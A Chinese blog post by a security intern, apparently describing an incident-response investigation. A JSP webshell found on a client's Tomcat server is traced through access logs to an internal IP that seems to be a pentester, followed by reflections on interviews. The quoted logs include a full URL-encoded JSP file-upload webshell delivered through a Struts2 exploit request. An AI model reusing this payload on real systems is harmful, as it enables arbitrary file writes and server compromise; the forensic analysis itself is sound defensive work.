最近的学习记录和总结

最近又回到公司继续实习了,除了面试笔试中会学习到很多,在工作中也能学到新东西和值得思考的内容。
在这里记录一下最近面试笔试的感受和与学弟一同参与的应急响应。

应急响应(数据已脱敏)

有客户联系公司说他们的服务器宕机了,疑似是由内部部门AWVS扫描造成的,并且在完成修复后登陆服务器发现passwd文件被清,并且发现在/abc/images目录下存在一个写入文件的木马webshell,可以定义任意路径写入文件,可通过此木马写入任意文件。让我们去做一次调查取证。

有同事过去到手8个G的Web日志,那就先从Web日志入手。
第一部分的攻击手段的回溯是学弟做的,通过对日志和机器上文件的产生日期、文件名等调查,发现确实是由于AWVS引起的服务器宕机,根源是在扫描shell文件的时候,构造了passwd文件的路径和文件内容payload进行扫描,服务器中间件又是root权限,直接覆盖了passwd文件。
客户在得知原因之后,让我们继续对通过shell上传的大马进行分析,看能不能找到确定攻击者。

之后找学弟要了日志文件,一份涉及到log.jsp的所有记录,一份是上传的大马tmp.jsp的访问日志。

首先看了看全部的日志,在2017年3月22日之前的日志,有过很多扫描的痕迹,而且都会有扫描到images/log.jsp文件的记录,但是响应状态都是404,第一个200响应的记录日期在3月22号。
于是对其IP和UA进行记录(居然是个内网IP,是不是成了肉鸡之后再看...),往上找这个IP的访问记录。
在3月22日的对los.jsp的访问记录前,该IP对站点先进行了AWVS扫描,然后在下午4点之后,开始进行常规的正常访问,但是有一部分记录就比较可疑,该IP多次对一个登陆页面进行POST请求

.............
192.168.9.1 - - [22/Mar/2017:16:36:56 +0800] "POST /abc/Login.action HTTP/1.0" 500 7464 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [22/Mar/2017:16:36:56 +0800] "POST /abc/Login.action HTTP/1.0" 500 7464 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [22/Mar/2017:16:36:56 +0800] "POST /abc/Login.action HTTP/1.0" 500 7464 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [22/Mar/2017:16:36:57 +0800] "POST /abc/Login.action HTTP/1.0" 500 7464 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [22/Mar/2017:16:36:57 +0800] "POST /abc/Login.action HTTP/1.0" 500 7464 "-" 
............
192.168.9.1 - - [22/Mar/2017:16:39:00 +0800] "POST /abc/Login.action HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0"

在最后一个200响应之前

92.168.9.1 - - [22/Mar/2017:16:44:26 +0800] "GET /abc/images HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36"
192.168.9.1 - - [22/Mar/2017:16:44:26 +0800] "GET /abc/images/ HTTP/1.1" 404 973 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36"
192.168.9.1 - - [22/Mar/2017:16:44:32 +0800] "GET /abc/images HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36"
192.168.9.1 - - [22/Mar/2017:16:44:32 +0800] "GET /abc/images/ HTTP/1.1" 404 973 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36"
192.168.9.1 - - [22/Mar/2017:16:44:38 +0800] "GET /abc/images/log.jsp HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36"
192.168.9.1 - - [22/Mar/2017:17:12:02 +0800] "POST /abc/Login.action HTTP/1.0" 200 5 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [22/Mar/2017:17:14:39 +0800] "POST /abc/images/log.jsp HTTP/1.1" 500 2927 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"

这种访问记录,由于图片目录本身在登陆界面就被加载的,我们可以直接知道应用目录下图片目录的存在,如果是我们来写shell的话,也会选择这个目录,但是从上面的日志可以看到,第一次log.jsp访问虽然是200了,但是在对登陆页面又进行了一个post请求后,再次访问shell就成了500响应。这里的话猜测是通过login.action进行的攻击,但是第一次写的shell是存在问题的,所以需要对其进行更改,而更改之后又出现了什么问题引发了jsp的错误。
3月22这个IP对站点的访问就结束了,紧接着是3月23日,该IP在上午10点开始,出现的第一个访问记录就是对login.action进行POST请求,该时段日志记录如下

192.168.9.1 - - [23/Mar/2017:10:56:55 +0800] "POST /abc/Login.action HTTP/1.0" 200 6 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [23/Mar/2017:10:56:55 +0800] "POST /abc/Login.action HTTP/1.0" 404 1121 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [23/Mar/2017:10:56:55 +0800] "POST /abc/Login.action HTTP/1.0" 404 1121 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [23/Mar/2017:10:56:55 +0800] "POST /abc/Login.action HTTP/1.0" 200 4 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
...........................................................
192.168.9.1 - - [23/Mar/2017:11:01:02 +0800] "POST /abc/Login.action HTTP/1.1" 200 373 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0"
192.168.9.1 - - [23/Mar/2017:11:01:45 +0800] "POST /abc/Login.action?t=%3C%25%40page%20contentType%3D%22text/html%3Bcharset%3Dgb2312%22%25%3E%3C%25%40page%20import%3D%22java.io.*%22%25%3E%3Chtml%3E%3Chead%3E%3Ctitle%3EUploader%3C/title%3E%3C/head%3E%3Cbody%3E%3C%25if%28request.getParameter%28%22content%22%29%21%3Dnull%29%7BString%20content%3Dnew%20String%28request.getParameter%28%22content%22%29.getBytes%28%22ISO%2D8859%2D1%22%29,%22gb2312%22%29%3BString%20path%3Dnew%20String%28request.getParameter%28%22path%22%29.getBytes%28%22ISO%2D8859%2D1%22%29,%22gb2312%22%29%3BOutputStream%20fos%3Dnull%3Bfos%3Dnew%20FileOutputStream%28path%29%3Bfos.write%28content.getBytes%28%29%29%3B%7D%25%3E%3Cform%20name%3D%22Upload%22%20method%3D%22post%22%20action%3D%22%22%3Epath:%3Cinput%20type%3D%22text%22%20name%3D%22path%22%20size%3D%2280%22%20value%3D%22%3C%25out.print%28getServletContext%28%29.getRealPath%28%22/%22%29%2B%22tmp.jsp%22%29%3B%20%25%3E%22%3E%3Cbr%3E%3Ctextarea%20name%3D%22content%22%20style%3D%22width:%2051%25%3B%20height:%20150px%3B%22%3E%3C/textarea%3E%3Cbr%3E%3Cinput%20type%3D%22submit%22%20name%3D%22btnSubmit%22%20value%3D%22Upload%22%3E%3C/form%3E%3C/body%3E%3C/html%3E%0A&f=/usr/local/apache-tomcat-6/webapps/abc/images/log/log.jsp HTTP/1.0" 404 1121 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [23/Mar/2017:11:02:03 +0800] "POST /abc/Login.action?t=Struts2%20Exploit%20Test&f=/usr/local/apache-tomcat-6/webapps/abc/images/log/test.txt HTTP/1.0" 404 1121 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [23/Mar/2017:11:02:09 +0800] "POST /abc/Login.action?t=Struts2%20Exploit%20Test&f=/usr/local/apache-tomcat-6/webapps/abc/images/test.txt HTTP/1.0" 200 10 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [23/Mar/2017:11:02:20 +0800] "POST /abc/Login.action?t=%3C%25%40page%20contentType%3D%22text/html%3Bcharset%3Dgb2312%22%25%3E%3C%25%40page%20import%3D%22java.io.*%22%25%3E%3Chtml%3E%3Chead%3E%3Ctitle%3EUploader%3C/title%3E%3C/head%3E%3Cbody%3E%3C%25if%28request.getParameter%28%22content%22%29%21%3Dnull%29%7BString%20content%3Dnew%20String%28request.getParameter%28%22content%22%29.getBytes%28%22ISO%2D8859%2D1%22%29,%22gb2312%22%29%3BString%20path%3Dnew%20String%28request.getParameter%28%22path%22%29.getBytes%28%22ISO%2D8859%2D1%22%29,%22gb2312%22%29%3BOutputStream%20fos%3Dnull%3Bfos%3Dnew%20FileOutputStream%28path%29%3Bfos.write%28content.getBytes%28%29%29%3B%7D%25%3E%3Cform%20name%3D%22Upload%22%20method%3D%22post%22%20action%3D%22%22%3Epath:%3Cinput%20type%3D%22text%22%20name%3D%22path%22%20size%3D%2280%22%20value%3D%22%3C%25out.print%28getServletContext%28%29.getRealPath%28%22/%22%29%2B%22tmp.jsp%22%29%3B%20%25%3E%22%3E%3Cbr%3E%3Ctextarea%20name%3D%22content%22%20style%3D%22width:%2051%25%3B%20height:%20150px%3B%22%3E%3C/textarea%3E%3Cbr%3E%3Cinput%20type%3D%22submit%22%20name%3D%22btnSubmit%22%20value%3D%22Upload%22%3E%3C/form%3E%3C/body%3E%3C/html%3E%0A&f=/usr/local/apache-tomcat-6/webapps/abc/images/log.jsp HTTP/1.0" 200 10 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)"
192.168.9.1 - - [23/Mar/2017:11:02:25 +0800] "POST /abc/Login.action HTTP/1.1" 200 373 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0"
192.168.9.1 - - [23/Mar/2017:11:02:47 +0800] "GET /abc/images HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36"
192.168.9.1 - - [23/Mar/2017:11:02:47 +0800] "GET /abc/images/ HTTP/1.1" 404 973 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36"
192.168.9.1 - - [23/Mar/2017:11:02:52 +0800] "GET /abc/images/log.jsp HTTP/1.1" 200 347 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36"
192.168.9.1 - - [23/Mar/2017:11:03:19 +0800] "POST /abc/Login.action HTTP/1.1" 200 72 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0"

对这部分日志进行分析,基本就确定这个shell是该IP写的了。首先由对登陆页面进行post操作,给该页面加上了对参数进行操作的功能,然后通过对该页面参数的查看,参数的内容就确定是log.jsp所在的路径和内容,完全一致,且在其中带有写了一个txt文件,内容为测试字样,且该环境下有这个文件。在写了txt后首先是对txt文件进行了访问,用来确认是否写上了内容,再写真正的上传利用shell,访问成功。结合在tmp.jsp的访问记录来看,这个IP对tmp.jsp只有get请求,不像是在做利用,所以猜测是一个内部人员在进行测试(后面还有其他依据可以证明)。
那么,现在猜测是有了,还需要去确定
1.该shell的更改记录,因为在22号就有该文件的200响应了,结合txt文件的验证,要确定是在23号这个shell为.1IP所导致了,需要对log.jsp的stat进行查看,看是否和我们的猜测攻击手段时间吻合。
2.攻击手段,由login.action进行post之后增添的其他功能,当时时间是3月,根据txt文件内容,猜测可能是struts2-045的利用,而且tf参数看起来可能是利用工具,可以尝试对利用工具的payload进行抓包查看来确认。对攻击点的确定需要和客户沟通看是否在那个时间段还存在045或者其他struts2漏洞未修复,还有一种可能是通过sql注入写的,要确认这点就需要查看数据库日志。如果根本就不是从web入侵的,我们可能还需要对其他应用的日志和系统日志进行调查取证。

在确认之后,我们认定该主机为攻击者。由于该IP未做恶意应用,加上是内网IP,并且这个IP从2016年起对该站点有过多次测试,可以看出来除了AWVS的扫描基本就是在漏洞爆发期对该站点使用S2的各个EXP进行尝试,且没有恶意利用。所以猜测是内部进行渗透测试的人在进行测试之后忘了删除遗留痕迹。

再之后,由于对面是内部的问题,部门与部门之间就不了了之了,具体那台.1的机器是怎么回事,我们就不得而知了。不过通过这次事件,作为乙方人员,我认为,不是说能力强能拿shell拿权限测洞多就可以了,还有一个是为别人着想。渗透前沟通好测试项目,比如DDOS就不去测之类的,测试中注意对已上线业务的影响,比如选取业务流量小的时间进行测试,能对业务数据或功能产生影响的能不动就不动,如果留下了什么影响业务的痕迹,要及时反馈以便事后处理,在测试后的报告中,格式美观规范,以免影响阅读性或对对方走什么流程造成影响。

面试笔试收获

最近也有很多笔试和面试了,感觉除了在绿盟实习以外,就是笔试面试长见识。
面试的话,知道了除了渗透攻防这块儿的知识方向,甲方安全开发中,可能会涉及到对自身业务进行评估,跟进SDL实施,开发自动化安全产品、工具(包括但不限于扫描器,自动化代码审计产品)。需要对常见漏洞从开发的角度去进行防御,而且根据甲方的业务,也需要对特定的一些功能的完整、保密、不可抵赖性做安全保障。
还有甲方中,有一些部门可能对产品的开发和使用没有参与,但是需要保障使用者的使用安全或对潜在安全威胁进行预警,(比如安全检测产品),通过被动式的从使用者那里获取一部分使用记录或数据,对其进行自动化的分析,最后需要实现具备通用性的对某类问题进行分析检测的产品。这部分知识我到现在还没什么积累,只能说长见识了= =。。
还有就是乙方安服方向,这个方向也是我现在所从事的岗位职责。就不多说了,我认为除了专业技能以外,其他的经验积累也很重要,比如针对某些行业某些功能可能存在的脆弱性和修复方式都可能不同之类的。
除此之外,安全研究也是一个方向,但是需要具备极丰富的漏洞分析经验和深入的研究能力,这个方向招人的话感觉不是自身对各漏洞有过深入了解并且复现分析过程的基本都不太靠谱。






笔试过程中的话,除了一些常用命令,服务器特性,功能的这些考核之外,我认为最有意思的就是某些开放题,针对指定场景让我们去做响应。本来这部分想直接记录下来的,但是发现越写越多,,,先不挖坑了,之后有心情再来补。。。


发表评论 暂无评论

*